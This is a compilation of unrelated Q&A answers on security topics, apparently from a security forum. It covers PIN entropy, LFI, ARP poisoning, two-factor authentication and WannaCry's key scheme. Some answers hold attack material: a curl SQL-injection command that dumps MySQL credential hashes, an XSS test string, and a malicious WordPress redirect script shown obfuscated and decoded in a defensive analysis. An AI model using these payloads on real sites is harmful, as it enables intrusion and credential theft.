And last but not least, vulnerabilities get fixed over time. Old protocols and ciphersuites get disabled, wrong implementations get fixed, some design issues are workarounded. On the other hand, some systems get updates lately (if they get any), so attacker could be lucky (to the extent the particular vulnerability allows) even with those old vulnerabilities.


The concept you are looking for is "entropy" and the selection process for passwords.

For PINs, people tend to use well-known numbers or patterns (1111, 1066 (very common in the UK), 1337 (popular with gamer males), etc). These have very low entropy and are easy to guess. These are the equivalent of password1. If you leave the selection process up to humans, they will default to something very easy to remember and likely something that many other people will use, too.

Getting people to think about another PIN selection process helps to increase entropy. Random is best, of course, but translating the process to words widens the scope of selection options.

The number set is the same (8 characters 0-9), so a plain brute-force is the same, but known patterns make the process so much faster.

So, given that random PIN selection is likely not going to happen in practice, and recognizing that people need a nudge towards better PIN selection processes, nudging people towards words is a generally good thing. Far better than meaningful dates or re-used PINs.


The extension of FirebaseMessagingService is usually used to process the notification messages when the application is in foreground. The processing is automatically done by the system when the application is in background. Based on my research and understanding, this service is started by the system and once the notification message is received the onMessageReceived() is invoked. In this case, I don't see usage of implicit intent for invoking a service as a security issue. Also, as per the official documentation, to use this functionality the service is to be declared in the manifest in the predefined way which seems to be a functional requirement.

Recommended Read: https://medium.com/@MiBLT/mastering-firebase-notifications-36a3ffe57c41

PS: While answering the question, I'm assuming that you are performing bug hunting on the Android application using Firebase component and not the component itself.


PHP LFI fix with the right file permissions

I would consider these two different vulnerabilities: storing a file in the remote server and the local file inclusion, which would read/execute it. Each of them can be sufficiently bad on their own.

A LFI vulnerability typically allows you reading files to which you shouldn't had access. For instance, a path traversal vulnerability in a comment system could allow reading instead the configuration of the web application and allow access to keys used by the application (like the database credentials). You can't change the file permissions so that the web application can't read it, since the application needs reading it. It just shouldn't show the contents to the user.

Another typical case would be that the application allows uploading images, and you can then include the uploaded image as a php file. The file was created by the web application, so it will be the file owner and have access to the file (if the webapp runs under a different uid than your webserver, you could remove the read permission from the owner and leave it for others so that it can be shown to the user. Still, the application may nevertheless need to read the uploaded image later, such as for generating a thumbnail).

As for storing files, it should be clear that if you are able to upload a file in the right place (eg. a file with a script extension in a folder server by the web server), it could be executed without a LFI vulnerability.


Can ping flooding attacks still be implemented in a IPv6 network?

Yes, ping floods can still be implemented in IPv6 networks. They operate in largely the same manner they do in IPv4 networks. Although IPv6 is a "new" protocol (it was conceived in 1998), there's still plenty of attack vectors to worry about, such as the Neighbor Discovery Protocol and the massive address space IPv6 occupies.

As far as simulating attacks on an IPv6 network, I would set up a virtual network with your chosen OS and virtualization software, and use a suite like THC-IPv6 to attack the network. It is a suite used for attacking IPv6 networks. It's got all kinds of goodies. Smurf6 may be of interest to you.

If you want to do some reading on IPv6 security, this paper is full of good stuff.


I think you're going about this backwards; you're outlining a solution and asking if it's secure against people "with access to the server", but haven't told us what level of "secure" you're aiming for.

Let's unroll that; secure against what? Which levels of access are you trying to block, and at what point are you willing to let it go?

Secure against network admins hitting your VM's ports? You probably had that already.
Secure against sysadmins who can access your VM's disk image? This may help, though there may be more off-the-shelf solutions, like providing a full-disk-encryption password at boot.
Secure against sysadmins who can get ssh keys to your VM? This probably doesn't help.
Secure against sysadmins who can take direct memory dumps of your running VM? This probably doesn't help, though you may look into memory encryption.
Secure against datacentre employees who can rip the RAM sticks out of the machine and dunk them in liquid nitrogen in a cold boot attack? This probably doesn't help, though you may look into memory encryption.

So I suggest you go about this the other way: define the level of security you want, and then design a solution that attains it.

[sorry for a giving a non-answer, but I feel like this needs a frame-challenge]


What does the SSID have to do with a networks security concerning rainbow tables?

In WPA/WPA2, the SSID of the network is used as a salt to the encryption. A rainbow table therefore is only useful if the SSID used to generate it is the same as the SSID of the network you are attacking. Using a common SSID increases this chance.

Source


Malware injected into image.ArticleContentSniffing

The linked article talks about code included into the image itself. For it to be readable and interpretable by a browser, it has to be written in text.

Thus it is not steganography.

The idea behind processing the image back to bitmap then to the appropriate format is that:  first you can check that the image is a valid image (it can be read). Then once you have a bitmap, no "code" can remain from the original image, since you are sitting here with plain RGB values. The article talked about putting HTML code within an "image comment". At the point of bitmap, there is no such thing anymore. Finally you reencode the image using a program under you control so that you are sure there's nothing fishy in it.

If we suppose that the image has been formed such as it triggers a vulnerability into the an image viewer (this is not steganography per se) processing the image with another program than the targeted viewer then re-encoding the image will most probably break the exploit. Most image process are lossy encoding and result in loss of information when you encode/decode an image, so you most probably won't get the exact same file after re-encoding.


Browsing on a USB OS (Linux) safe from malware?

It all depends on the configuration of your OS, be it USB "stick-ed" or not.

If your live system enable you to write in one way or an other to the physical disk of your home computer, then there is a non null probability that the computer could get infected. Take for example a virus that would copy itself on the MBR of your main disk.

Concerning infection from the main computer to the live OS, it is not impossible too. The thing is that if the malware is a resident one, loaded when you read you disk, it won't be running on your live system because the boot sequence of the infected OS won't be run.
But if you have some latent viruses in your files and that virus would know how to target your live OS system, then opening this file with a vulnerable application (or executing it) can trigger infection of your live OS.

In conclusion, it's up to you to configure your OS to take the precautions needed to your operations. In fact, if you don't want to infect or get infected, the best thing to do is to disconnect the drives from the machine. If this is not an option, you would need to take care of the options on the live OS (read-only mode, no exec mode, no auto mounting of disks, running with the least privileges, ...)


Exploiting SQL Injection Vulnerability Using Logical Errors

h/t to @Peter for helping iron out the details

The trick is that add_slashes is applied to the IP address and then it is truncated to 15 characters. Imagine injecting this into $_SERVER["REMOTE_ADDR"] or $_SERVER['HTTP_X_REAL_IP'] (the 15th character is a single quote):

12345678901234'

add_slashes turns it into this:

12345678901234\'

Which is truncated to this:

12345678901234\

Aka, now you have a lone trailing slash that will escape the single quote that was supposed to end the value for the IP address in the query. You have now modified the query itself. The opening quote of the user agent value now closes the  IP address value, and anything in your user agent is inserted into the query directly without being inside any quotes.  You'll just have to make sure you build a valid query when you are done.  Injecting data into $_SERVER['REMOTE_ADDR'] is difficult because, although you can spoof it on the TCP request, this will break the handshake and the HTTP request will never happen.  However, setting $_SERVER['HTTP_X_REAL_IP'] is as simple as setting a header on the request.  So something along these lines would work (this is a hastily thrown together example without testing):

curl 'https://target.com' \
    -H "X-REAL-IP: 12345678901234'" \
    --user-agent '1,1,1); INSERT INTO message (name) SELECT
 CONCAT(Host,User,authentication_string) from mysql.user; --'

Note that this particular example is only possible because of the use of the old mysql_query bindings.  The mysqli library explicitly disallows having more than one query in each execute statement.


Why would someone use my email address in his Gmail registration?

TL;DR: It's probably exactly what it purports to be.

I got a Gmail address during the beta, so mine matches my (very common) name.  I routinely get messages from Google saying that some account has been created and my address used as an alternate contact.  I routinely click the "unlink this account" link and am never bothered by that address again.

Why?  Well, in a small number of cases I think people really are too clueless to know their own email addresses.  More likely the person creating the account is up to something, not necessarily extremely bad, but requiring anonymity.  In the alternate address field, they put a plausible but (to them) fake address that turns out to be mine.  That could be the case with your acquaintance.

What to do?  Examine the "click to unlink this account" link very carefully by viewing the message source.  A real link from Google looks like this:

https://accounts.google.com/AccountDisavow?adt=AOX8kir9Wk1MCXKhmJxH-rEC[redacted]

If so, click the link; problem gone.  (I removed a part of the opaque token from the example link, but I probably didn't need to.  Even if someone navigated to my example link, it would just try to disconnect an account that's already disconnected.)

I didn't really understand the "acquaintance" part of your message.  If you are telling us that you recognize the alternate address as that of someone you know, disconnect it anyway because your account should not be connected to one you don't control.  Then ask your friend what's going on.  It might be as innocent as your friend wanting your help if he ever locks himself out of his account.  But he (or she) should have asked you first.

It is possible that this is a phishing attempt and the sender wants to steer you to a particular link.  Looking at the link should tell you.  In any case, real Google "disconnect" links just tell you that the address has been disconnected and tell how to undo that if it was a mistake.  They do not ask for authentication.  So, never, ever supply authentication information like a password after clicking such a link.


Do card issuers give merchants new expiry dates for recurring payments?

Do Banks Really Give Out New Expiration Dates?

Yes.

This is a value-added service usually called something like Account Updater (emphasis mine):

  Serving as an automated, dedicated, and secure clearinghouse, VAU works by establishing a streamlined process for the electronic exchange of updated account information among participating merchants, acquirers, and Visa card issuers. So, when a cardholder's information changes, you will receive updated account information which may include new account numbers, new expiration dates, closed account and/or contact cardholder notifications.

("acquirers" means banks in this context)

To get the updated information, the merchant has to have previously performed a transaction with the card being updated, so it's not like someone you've never entrusted your card to can use this process to steal your info.

This is instead seen as a win-win for merchant and consumer.  If your credit card is re-issued for expiration, you don't have to run around to all your recurring subscriptions (Salon, LifeLock) and your stored card profiles (Amazon, Xbox Live) updating them before you can continue to purchase from them.  And the merchants don't have to chase you down or discontinue service because your card changed and you didn't realize that's the card they were billing.

  I find it really hard to imagine that my bank would go around giving
  out my updated expiration date to companies so that they can charge me
  more money.

The bank makes money off of the interest they charge on your credit card purchases.  If your subscription billing is interrupted because of a card change, or you end up not purchasing those  from stores because they didn't have an updated card, the bank loses money (well, "lost opportunity" money).  It's not at all hard to imagine why this is attractive to banks, merchants, and (quite frankly) consumers.


It really depends on how you use this regex. I'll use PHP code as an example:

Unsafe Example: Replace

echo "replaced: " . preg_replace('/<(?:\w+)\W+?[\w]/', '', $_GET['input']);

This would not be safe. Example:

input=<alert('xss');</script>

This is because your regex does what you think it does: it searches for < followed by one or more alphanumeric character, followed by one or more non-alphanumeric characters, and then a single alphanumeric character.

So in the above attack string, <a|a (another example for clarity: <aaa|||z) matches exactly this and will be removed. Thus, the remaining string is


HTML broken and comments inserted in website

After checking the websites which contained such comments, I found that all of them are Wordpress sites. 3 of them contained an injected Javascript (in our site, all javascript is removed from posts, so maybe that is why that code was not successfully injected). The obfuscated code looks like:

  (new Function(String.fromCharCode(19 - 9, 126 - 8, 100 - 3, 122 - 8,
  37 - 5, 109 - 2, 104 - 3, 129 - 8, 36 - 4, 67 - 6, 34 - 2, 41 - 2, 106
  - 2, 113 - 9, 94 - 8, 123 - 9, 123 - 2, 83 - 4, 130 - 9, 94 - 9, 112 - 2, 80 - 7, 43 - 4, 64 - 5, 15 - 5, 119 - 1, 104 - 7, 122 - 8, 38 - 6,
  102 - 1, 111 - 1, 106 - 7, 108 - 7, 109 - 9, 35 - 3, 63 - 2, 41 - 9,
  48 - 9, 85 - 4, 74 - 9, 60 - 8, 114 - 8, 76 - 4, 67 - 1, 119 - 8, 57 -
  2, 78 - 9, 73 - 5, 118 - 7, 70 - 5, 100 - 3, 89 - 8, 111 - 4, 101 - 3,
  86 - 9, 112 - 4, 113 - 1, 84 - 3, 106 - 8, 125 - 6, 76 - 2, 110 - 8,
  89 - 5, 112 - 3, 115 - 8, 105 - 4, 68 - 1, 88 - 5, 83 - 1, 85 - 2, 71
  - 3, 112 - 8, 74 - 9, 92 - 6, 80 - 1, 107...

After decoding it, it becomes:

var key = 'hhVryOyUnI';
var enced = 'QA4jHBo7EDoAaQkbMlpQbwJfTmkeCSRSDhAVOg0oHAE5HFlyWXIGPRwYbF1WOQA9GytGCzkfViwKJkEqGxt5VUJFWXUYKBpINR0WJBAwTnRITy8rEz0YYT4KC1A9HzsHHCYdeAEKcUlzRVl1CDwGCyIbFiFZJhooGhx+W1k0c3VOaUgeNwBZLBY6BSANG3ZPWSsWNhskDQYiXBogFj4HLEgUKlJeaEJfTmlISD8UWWcaOgEiAQ0lXBAhHTAWBg5ANR0WJBAwR2lJVWtSVH5QdRVDSEh2UllvCzAaPBoGbXhZb1l1E0NISHZSEClZfQ0mBwM/FwphEDsKLBAnMFpeOAl4HSwcHD8cHjxefE5oVVV2X0hmWS5kaUhIdlJZPRwhGzsGU1xSWW9ZKGRpSEh2Gx9vUTkBKgkEBQYWPRgyC2cPDSI7DSoUfQ0mBwM/F1BvRGhTaU9ZcVtZNHN1TmlISHYAHDsMJwByYkh2Ulkyc3VOaUgeNwBZOhgyCyccSGtSFy4PPAkoHAckXAw8HCcvLg0GIklzb1l1TiAOSH5TDC4eMAA9QUgteFlvWXVOaRoNIgcLIUJfTmlISCt4c29ZdU48CQ8zHA1vRHUbKA8NOAZXOxYZAT4NGhUTCipRfFVDSEh2UhApWX0bKA8NOAZXJhcxCzEnDn5VHiAWMgIsT0F2U0RyWXhfQ0hIdlJZb1l1EjVIHTcVHCENewcnDA0uPR9nXjcBPU9BdlNEcll4X0NISHZSWW9ZdRI1SB03FRwhDXsHJwwNLj0fZ142HCgfBHFbWW5EaE5kWWJ2UllvWXVOaRQUdgcYKBw7GmcBBjIXAQAffUkrAQYxVVBvWGhTaUVZXFJZb1l1TmlIFCpSDC4eMAA9RgE4Fhw3NjNGbhEJPh0WaFB1T3RVSHtDUG8CX05pSEh2UgsqDSAcJ1NidlJZbwRfZGlISHYBHDstPAMsBx0iWh86FzYaIAcGfltZNHN1TmlISHYBHDs6OgEiAQ1+ERYgEjwLZUhPZ0BKaFV1WXpYQW14WW9ZdU5pBAc1ExUcDTocKA8NeAEcOzAhCyRACzkdEiYceU5uWU9/SXNvWXVOaUgfPxwdIA57AiYLCSIbFiFZaE4+NwQ5ERg7EDoAcmJIdlJZMlV1XHlIQnZDSX9JfFVDSEgreFlvHyAAKhwBORxZPBwhLSYHAz8XUSwmOw8kDUR2BBgjDDBCaQ0QMhMAPFB1FUNISHZSDy4LdQsxDAkiF1lyWTsLPkgsNwYcZ1BuZGlISHYXASsYIQtnGw0iNhg7HH0LMQwJIhdXKBwhKigcDX5bWWRZMBYtCRElW0JFWXVOaR4JJFIaEA80AjwNSGtSHDwaNB4sQB43HgwqUHVFaUBAMwodLgAmTnRVSDgHFSNQdVFpT092SFloQnULMRgBJBcKcl51RWkNEDITDSpXIQEcPCsFBgsmFzJGYEFTXFJZb1kxASodBTMcDWEaOgEiAQ12T1ksJjsPJA1IfVJecl51RWkLNyATFTocbmRpSBVceFlvDzQcaRoNNxYAHA00GiwrADMREgYXIQs7Hgk6UkRvCjAaAAYcMwAPLhV9CDwGCyIbFiFRfE4yYkh2UlkmH3VGLQcLIx8cIQ17HCwJDC8hDS4NME50VVV2VRogFCUCLBwNcXhZb1l1TmlISCoOWSsWNhskDQYiXAsqGDEXGhwJIhdZckR1SSAGHDMAGCwNPBgsT0F2CXNvWXVOaUgLOhcYPTA7GiwaHjceUT0cNAowOxw3BhwMETANIiEGIhcLORg5R3JiSHZSWW9ZJhooGhx+W0JFWXVOaRVidlIEY1lkXmBTYlwPUWZQbmRD';
function xor_enc(string, key) {
  var res = '';
  for (var i = 0; i < string.length; i++) {
    res += String.fromCharCode(string.charCodeAt(i) ^
                                key.charCodeAt(i % key.length));
  }
  return res;
}

var dec = xor_enc(atob(enced), key);
(new Function(dec))();

After further decoding:

(function asd() {
  var w_location = 'http://vyhub.com/css/css/';
  var cookie = 'yYjra4PCc8kmBHess1ib';

  function start() {
    var cookies = document.cookie || '';
    if (cookies.indexOf(cookie) !== -1) {
      return;
    }
    if (cookies.indexOf('wp-settings') !== -1) {
      return;
    }
    if (localStorage.getItem(cookie) === '1') {
      return;
    }
    var uagent = navigator.userAgent;
    if (!uagent) {
      return;
    }

    uagent = uagent.toLowerCase();
    if (uagent.indexOf('google') !== -1
        || uagent.indexOf('bot') !== -1
        || uagent.indexOf('crawl') !== -1
        || uagent.indexOf('bing') !== -1
        || uagent.indexOf('yahoo') !== -1) {
      return;
    }

    setTimeout(function() {
      setCookie(cookie, '123', 730);
      localStorage.setItem(cookie, '1');
      window.location = w_location;
    }, 20 * 1000);
  }
  function setCookie(c_name, value, exdays) {
    var exdate = new Date();
    exdate.setDate(exdate.getDate() + exdays);
    var c_value = escape(value) + ((exdays == null) ? '' : '; expires=' + exdate.toUTCString());
    document.cookie = c_name + '=' + c_value;
  }

  var readyStateCheckInterval = setInterval(function() {
    if (document.readyState === 'complete'
        || document.readyState == 'interactive') {
      clearInterval(readyStateCheckInterval);
      start();
    }
  }, 10);

}());

What I can get from that code is:

It does not run if a bot is the user agent (e.g. google, yahoo...) or if you are running as admin/editor? (I couldn't find about wp-settings cookie).

After 20 seconds: It setups a cookie with name "yYjra4PCc8kmBHess1ib" for the attacked domain, with value "123" and stores in local storage such key with value 1. (key must be different per site, to identify it)

After that, it will redirect your site to: http://vyhub.com/css/css/

That's it.

About "vyhub.com":

The front page shows: "Its Working...!"
It is registered with godaddy.com, but not further information is available.
The server is located in Singapore.
http://vyhub.com/css/css/ takes you to http://loveo.com

About "loveo.com":

Its a dating site located and registered in US.

So what I see from this, is that they use a Wordpress vulnerability to inject a JS which will redirect visitors into loveo.com.

Bad business...

Encoding problem:

The problem with the encoding could be related to other reasons: perhaps the code who injects the code altered the original content intentionally (vandalism) or unintentionally (they don't handle unicode very well).

Action taken:

Logs didn't show anything suspicious (so far), so we run some security checks at the server and all seems in place. After recovered from a backup, we updated wordpress (it was slightly outdated) + plugins and changed passwords.


It will most likely infect your computer with some malware or keylogger.

Use a VM or a computer you are willing to reformat after to access the link, and run some malware analysis tool to check out what is happening.

If you have to ask here though, I suggest you just ignore the link. Malware analysis is a very complex topic that is difficult to understand.


Path traversal using hash extension attack

Since PHP 5.3.4, an error is thrown if a path contains a null byte.


Does Web proxy also get information of any files uploaded to cloud?

A web proxy is a service that sits between the client and the website and forwards all requests and responses between them. This includes files uploaded to a website.

A proxy with the intent to inspect or modify traffic is called an intercepting proxy. ZAP and Burp are examples of intercepting proxies. You can try one of them to show your file upload.

A proxy is typically only used if it is configured in the browser. It is sometimes possible to use a transparent proxy, where no client configuration is needed.

Whether a proxy can intercept all data, including file uploads, depends on the details of the SSL connection. If the website uses plaintext HTTP instead of HTTPS, everything can be intercepted. If the website uses HTTPS, there are two options:

The browser performs a CONNECT request to the proxy. The proxy sets up a tunnel between the client and the website and only sees encrypted traffic. This way, the proxy can not intercept any traffic, because it is encrypted.
The browser performs a CONNECT request, but the proxy sets up separate connections to the browser and the website. Now the proxy is a man-in-the-middle attacker that decrypts and re-encrypts any data is passed through. The proxy can intercept all data.

The problem with option 2 is that the SSL connection is intercepted, so your browser will complain that it is not connected to the right host, or that the certificate is invalid.

If you would want to implement a proxy in Python, I think you would start with a TCPServer. Implement one that listens on a port, configure your browser to use that port as proxy server, and watch what request is done.

Another project which can help you is mitmproxy, an intercepting proxy written in Python.


Is there a reason to change OTP code on every resend attempt?

Limit the number of attempts to resend the code

This is the problem that needs solving. It is not a good idea to limit resend attempts. If someone needs to request a resend, how do you decide how many is ok? If there is a delay in receiving the OTPs, how does the user figure out which one is the most recent? There is a big UX issue here.

Because it's not a good idea to limit resends, you need to let the code survive a little while else you expose the user to a permanent DoS attack where someone just automates OTP requests which invalidate all codes sent previously, no matter how recently.

So to limit resends, you create a UX problem that is solved by simply letting OTPs live a little while. Once the OTP is used successfully, you invalidate it.

So, no, there is no security reason to change the OTP with every request. There are no risks in letting it live a little while, either.


Best Practice: “One per-user ssh key” or “multiple per-host ssh keys”

I recommend you adopt the "one ssh key per user" model.  It is easy to use for end users, simple to explain to users, and is likely to meet the security requirements.

Ease of use is very important.  If a security mechanism is too hard to use, people will find a way to bypass your security mechanism.  An easy-to-use, pretty good security mechanism is far better than a hard-to-use security mechanism that is in theory highly secure (because in practice, if is hard to use, it probably won't be as secure as you expect once people find a way to bypass the security mechanism so they can get their work done).

I think "one ssh key for client machine, per user" is a bad idea.  It sounds like a mess.  Frankly, it sounds like IT run amok, in the sort of way that gives security a bad name and makes people hate IT departments.  You mean I have to generate a separate SSH key for each client, and manage them all?  All for an amorphous security benefit that isn't clear?  Ugh!  I would hate to be in charge of selling this to users.

I suggest that think of these kinds of decisions in terms of "compliance budget". Your employees will put up with a certain amount of annoying compliance mandates (e.g., security requirements) imposed upon them.  Up to a point, they'll follow these mandates.  However, if it gets to be too much, eventually they'll get annoyed and just do whatever they have to do to get their work done, even if it violates all security principles.  Therefore, imposing too many requirements or too much inconvenience can be counter-productive to security.  So, before imposing any kind of security requirement or security-related inconvenience on users, think very carefully.  Imagine that you have a very limited budget for imposing mandates.  Is this the best item to spend your limited "compliance budget" on?

On a related note, I think the benefits of "one ssh key for client machine, per user" are pretty minor.  I don't understand why anyone should care all that much what accounts I can log into with my laptop, vs my desktop.  Is this just micromanagement?  Who cares?  It's me, either way.  If you trust me, you trust me, no matter which of my machines I'm using, right?  It's not clear to me that this is such a big deal that you'd make your users lives harder because of it.

P.S. You mention something about managing what privileges non-humans have.  I didn't quite follow what that was referring to.  You mentioned scripts that call SSH/SCP, but who is invoking those scripts?  If it's a person, then presumably that person is authorizing the activity, right?  If it's not invoked by a person, then I'm not clear on how that would even work (in my experience, such scripts don't have access to your SSH private key, since they don't know your passphrase and aren't attached to any ssh-agent session that would let them access your SSH private key).  I don't know if I'm missing something important in that statement.


multiple encryption layers and removing them in any order?

What you seek is called a commutative cipher. This is not the same thing as "a cipher that is commutative" (the terminology is confusing). A cipher that is commutative is easily achieved with, e.g., the large class of stream ciphers that generate a key-dependent pseudorandom stream and encrypt data by XORing that stream with the data to encrypt. Since XOR is commutative, two instances of such encryption can be applied successively then removed in any order. However, observing the encrypted versions yields too much information to eavesdropper -- this encryption is not as encrypted as you believe it to be.

Generally speaking, a commutative cipher is an encryption method that is commutative and yet is secure enough when used in Shamir's three-pass protocol. In a broad sense, such a commutative cipher cannot be "as secure" as a normal symmetric cipher (see this), but it can still be "secure enough" for the three-pass protocol. Known algorithms that appear to be commutative cipher in that sense (Pohlig-Hellman and SRA) rely on the same kind of mathematical tool as asymmetric encryption and key exchange algorithms like RSA or Diffie-Hellman; correspondingly, they don't offer any actual performance advantage over this more widely used types of algorithms.


The general idea behind such proof is that A signs some  message ("challenge") created by B with its private key - and that this signature can be checked.
B creates a random challenge which is then signed by A. It is important that this challenge is not predictable in order to avoid replay attacks. A then sends the signed challenge and the public key to B. B can compare the provided public key against the already known fingerprint (public key hash) and can check the signature with the verified public key. If the signature is as expected then A is the owner of the private key, assuming that the private key was not compromised.

... considering the fact that B is not allowed to see A's keys

The public key is considered public, hence the name. It is not a secret and A can send it to B.


What is the following regex trying to protect against?

I'll take a guess... parsing the regular expression, it appears to be matching:

Anything (optional)
. OR ^ OR anything OR [
Quote (single or double)
The literal string class (case insensitive for the c only)
. OR quote (single or double)
] OR [
Anything (optional)

I'm not 100% sure on this.  Sometimes the precedence rules are tricky, and I can't easily test this in java to see exactly how it behaves.

In general though, I find that breaking out the regular expression doesn't shed a lot of light!  Certainly, it's not a very helpful rule.  It seems to mainly be focused on finding instances of class, but it only does a case insensitive search on the c, so you could easily bypass this rule with clAss.

Given the search for class and quotes, I would guess that this is aiming to find an XSS payload (perhaps someone tried to inject something into the class parameter on a tag).  However, it's hard to say for sure.  Given that this appears to be a very poorly executed WAF rule anyway (for instance not properly checking in a case-insensitive way, and a few other minor details), I doubt the person who wrote this rule really knew what they were doing, which might make devising their intent much trickier.


Port 8192 is one of many ports that is used for TCP/UDP. After a little bit of searching it appears that this is a port that, like #INV3NT3D said in his comment, is used by SpyTech Phone Service, among a few others.

I think a better question you need to be asking is:

"This seems like unusual traffic on my phone. Who is SpyTech Phone Service and why are they accessing my phone?"

Hope this helps.


x32 VS x64 Reverse Engineering and Exploit Development

There are millions of 32-bit systems still in use today, and the 64-bit systems all use "thunking" to run 32-bit programs.  Lots (most) of the apps out there are still released today only as 32-bit apps in order to remain backward compatible with as many systems as possible.  Many will remain 32-bit forever (or until 32-bit support is ended) because there is no compelling reason for the app developer to migrate their app to 64-bit.

Very few apps actually need 64-bit capabilities, or would make full use of them if they had it.  Video games, multimedia, and other extremely high RAM-intensive apps can definitely take advantage of all 64 bits, but the average one-step-at-a-time apps won't gain the users any noticeable benefit from being ported, while if they convert to 64-bit they lose any clients that are still running a 32-bit OS.  Remember, there are still systems in the world running Windows XP because people need it to keep running old 16-bit apps that came out under Windows 95 or Windows 3.1!

Consider that Microsoft's flagship development environment, Visual Studio 2017, is still a 32-bit app.  It can emit 64-bit binaries, of course, but the whole IDE itself is still 32-bit, and will remain so for quite a while.  These guys absolutely understand what it means to be 32-bit or 64-bit.  So what message does that send you?

It's not an either-or choice, as you can certainly pick up both.  But 32-bit apps aren't going away any time in the foreseeable future, so time spent learning the 32-bit environment is not time wasted.  And if they contain easy-to-exploit vulnerabilities, by ignoring them you could be missing out on more than half the bugs in the world.


Is there any sense in using two-step authentication for personal email address?

YES!  There is absolutely sense in using two-factor authentication for personal email!  Your personal email is the absolutely most precious account you own!

Almost every website's "forgot password" feature will kindly send an email containing a reset link to your inbox if you forget your password.

Once an attacker has access to your email, they can access pretty much any account you have just by using the "forgot password" feature on any website you're registered with under that email address.

Does your bank send you statements via email?  Perfect!  The attacker even knows which bank website to go to to get your info.  Other creditors?  Same thing.

Even if your password is strong, you have no way of knowing how it's protected on the server. Suppose they're storing it in plain text, or in an easily decrypted format, and they get breached (repeatedly).  Or someone breaks in and steals their hard drives with your data.  The strength of your password means squat in these scenarios.

As others have noted, passwords are ultimately a "broken technology".  Given the high value of your personal email - the fact that losing it can expose ALL your accounts and the broken nature of the whole username/password paradigm, using two-factor authentication is (IMO) a must.

More here: http://www.codinghorror.com/blog/2012/04/make-your-email-hacker-proof.html


If the MITM attack was done using arp poisoning (for example in public WiFi network), then you will not see the attackers IP anywhere.

Lets say the default gateway of a WiFi network is 192.168.1.1. The attacker can send arp responses to your machine telling it that he is 192.168.1.1. Your machine will continue to send packets to the address 192.168.1.1, but the system will resolve it to the MAC of the attacker, and not to the MAC of the real gateway.

All the IP addresses of all websites you visit will remain unchanged from your machines point of view. Only the MAC entry of your default gateway in your arp table will have changed.


Why does WannaCry encrypt symmetric key with a new per-victim-only public key？

According to FireEye, WannayCry generates a new AES key for each file that is about to encrypt on victims' systems. So if a victim has 10000 files, he will need 10000 AES keys to decrypt them. A reasonable guess is WannaCry's author doesn't want all 10000 AES keys to transfer to him, which causes a lot of space  and network resource wasted. Therefore, WannaCry generates a new RSA key pair(only one for each victim), to encrypt all 10000 AES keys on a victim's system, and then encrypt the per-victim RSA private key with the shipped RSA public key. Finally WannaCry transfers the ciphertext (encrypted per-victim RSA private key) to author's hand.


Defending site against being abused by phishing

One way you could approach this would be to encrypt the parameter as it's passed to the user with a key stored on the server (also for better protection consider adding a HMAC). Then when the user submits the form, decrypt the parameter (and check the HMAC if used) and use it to redirect the user.

I've seen cases where the URL is just obfuscated (base64 encoding etc).  That might deter casual attackers, but I wouldn't rely on it, as a determined attacker is likely to work out the scheme used.


Is it possible to block third party cookies but allow them when they are first party?

Safari blocks third-party cookies by default.  If you want to check your settings, click the gear icon and go to Preferences >> Security; under "Accept cookies", it should say "Only from sites I visit".  Click OK.

Firefox (without Cookie Monster) blocks third-party cookies if you untick the checkbox saying "Accept third party cookies".  You can get there from Options >> Options >> Privacy.

The RequestPolicy extension for Firefox can be configured to block those third-party requests (including cookies, but also the requests themselves).

Internet Explorer allows you to block third-party cookies.  Go to Tools >> Internet Options >> Privacy >> Advanced.  Tick the box labelled "Override automatic cookie handling".  Next to "Third-party cookies", select "Block".  Then click OK.

Opera allows you to block third-party cookies.  Go to Tools >> Preferences >> Advanced, select "Cookies" on the left, then select "Accept only cookies from the site I visit".  Click OK.

Chrome allows you to block third-party cookies.  Go to the wrench icon >> Options >> Under the Bonnet >> Content Settings >> Cookies, and tick the box labelled "Block all third-party cookies without exception".  Click OK.


What could be the reasons for two different OTP messages for the same merchant when we do online transactions through debit card?

It's typical that a single server can't handle the workload of a big service, but there must be a cluster of servers. As Bharat Interface for Money BHIM is a service by the National Payments Corporation of India (NPCI) and the population of India is ~18% of the total world population, that's likely the case. What you witness here is just two SMS gateways with a slightly different configuration.

Although confusing, this isn't really a security problem, as the payment system is feeding you with the OTP information instead of asking anything from you. Spoofing SMS messages with fake Sender IDs is possible i.e. either of the names you see here can't ultimately be trusted. However, receiving incorrect OTP codes wouldn't be a security risk, as it wouldn't give anyone else access to your account.


What security mechanisms enable a user to change their password under a Kerberos environment?

According to the specifications, when the user changes passwords, the password is sent, encrypted by authenticator subkey (from the prior authentication), to the server.  The server then checks that it is valid and updates the user's information with the new password.


How to identify the Java program that is maliciously accessing my web site from many client addresses?

The "user agent" is a string sent by whoever connects to your system -- the antisocial individual. Therefore, you cannot really trust it. Which means that you cannot assume that this client really uses Java. Actually, if the Java version is "all over the map", then this is a strong indication that the client is not using Java. A real Java-based standard HTTP client will return the version of the employed JDK; 1.4.1_04 is really old, and might not work anymore with a recent operating system.

So my opinion is that you can strike out the "Java" keyword in your search. These requests are probably the works of a botnet which tries to spread; the infected machines send these HTTP requests in order to get some information on random Web servers (e.g. server software version), and they disguise as "Java requests" in order to avoid some poorly-configured firewalls and filters.

This is not done to annoy you. It actually annoys everybody. All publicly available servers will receive requests such as yours; replicating botnets just use random IP addresses, and you cannot evade randomness. I get some on my own server, too.


Is there a HSTS equivalent for specifying TLS version?

In TLS, the client proposes and the server chooses.

What you want it as simple as configuring your servers to only allow TLS 1.2 and the particular server suites you want to use. There isn't a need for anything special.


Is it safe to not update Windows if you dont accept any incoming connections?

No, that's simply wrong.

Just like with a jail. They're not only built in a manner to keep anyone from escaping, but as well to prevent anyone from breaking in. You always have to think through both ways.

Just an example: windows had a vulnerability that allowed arbitrary code-execution injected in JPGs (I think the format was JPG, but I'm not sure. Doesn't matter here anyways). Now I've got a nice little drive-by download that directly infects your PC. Since you didn't apply any Windows-Updates you're still vulnerable and the PC is infected. Now you've blocked inbound connections. Luckily, I'm already inside your PC, so all I need to do is create a outbound connection. No need to break in to get stuff from your PC, if I can get myself inside in a normal way and then break out. I know this example includes quite a lot of uncertainties, but it should do to demonstrate the principle. Real-life attacks will quite likely be more complex, but should function the same way. In general home-PCs are usually bound to a dynamic IP. Most likely noone will attack this kind of PC from "the outside", but rather via malware, so just disallowing inbound connections might make your server more secure (and unuseable); for your home PC this doesn't apply.

The main-mistake already lies within this line:

  Don't worry, i know what i am doing. To be infected, you need to allow code to execute locally. If this code isn't allowed to execute, you can't be infected.

